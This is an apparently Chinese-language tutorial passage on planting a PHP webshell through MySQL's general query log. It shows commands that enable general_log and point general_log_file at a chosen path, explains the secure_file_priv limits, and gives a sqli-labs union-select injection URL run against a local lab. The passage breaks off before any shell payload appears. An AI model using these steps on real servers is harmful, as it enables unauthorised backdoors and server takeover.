日志写马
条件
1.全局变量general_log
为ON
MySQL的两个全局变量:
general_log
指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general_log_file
指的是日志的保存路径。
mysql> show global variables like "%general\_log%";+------------------+--------------------------------------------------------+| Variable\_name | Value |+------------------+--------------------------------------------------------+| general\_log | OFF || general\_log_file | D:\\phpStudy\\PHPTutorial\\MySQL\\data\\DESKTOP-UQAMJKA.log |+------------------+--------------------------------------------------------+2 rows in set (0.02 sec)
如果目前这个general_log
为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量。
set global general_log='on';
打开过后,日志文件中就会记录我们写的sql语句。我这里用sqli-labs来进行执行sql语句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+
打开D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log
日志文件,成功记录
注:不管sql语句是否正确都会记录进去。
不过general_log_file
可以直接通过SQL语句修改,而且必须修改为比如php
后缀的文件,不然马不能被解析。下面讲第2点条件会详细说明。
2.需要secure_file_priv
为空,即secure_file_priv=""
;或者secure_file_priv
为general_log_file
日志的保存路径的磁盘。不过general_log_file
可以直接通过SQL语句修改,必须要修改为比如php
后缀的文件,不然马不能被解析:
mysql> set global general\_log\_file='D:/1.log';Query OK, 0 rows affected (0.07 sec)mysql> show variables like "%general%";+------------------+----------+| Variable\_name | Value |+------------------+----------+| general\_log | ON || general\_log\_file | D:/1.log |+------------------+----------+2 rows in set (0.03 sec)#注:其中路径里的\\用\\\或者/代替,因为\\的话会消失一个mysql> set global general\_log\_file='D:\\1.log';Query OK, 0 rows affected (0.06 sec)mysql> show variables like "%general%";+------------------+---------+| Variable\_name | Value |+------------------+---------+| general\_log | ON || general\_log\_file | D:1.log |+------------------+---------+2 rows in set (0.03 sec)
然后在D盘下就出现1.log
成为新的日志文件了。但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv
固定为G:\,而网站是搭在D盘上,那把general_log_file
修改为G盘下的文件也连接不到,除非还有文件包含漏洞等等。
show global variables like '%secure%'
;查看可以写入的磁盘。
(1)当secure_file_priv为空,就可以写入磁盘的目录。
(2)当secure_file_priv为G:\,就可以写入G盘的文件。
(3)当secure_file_priv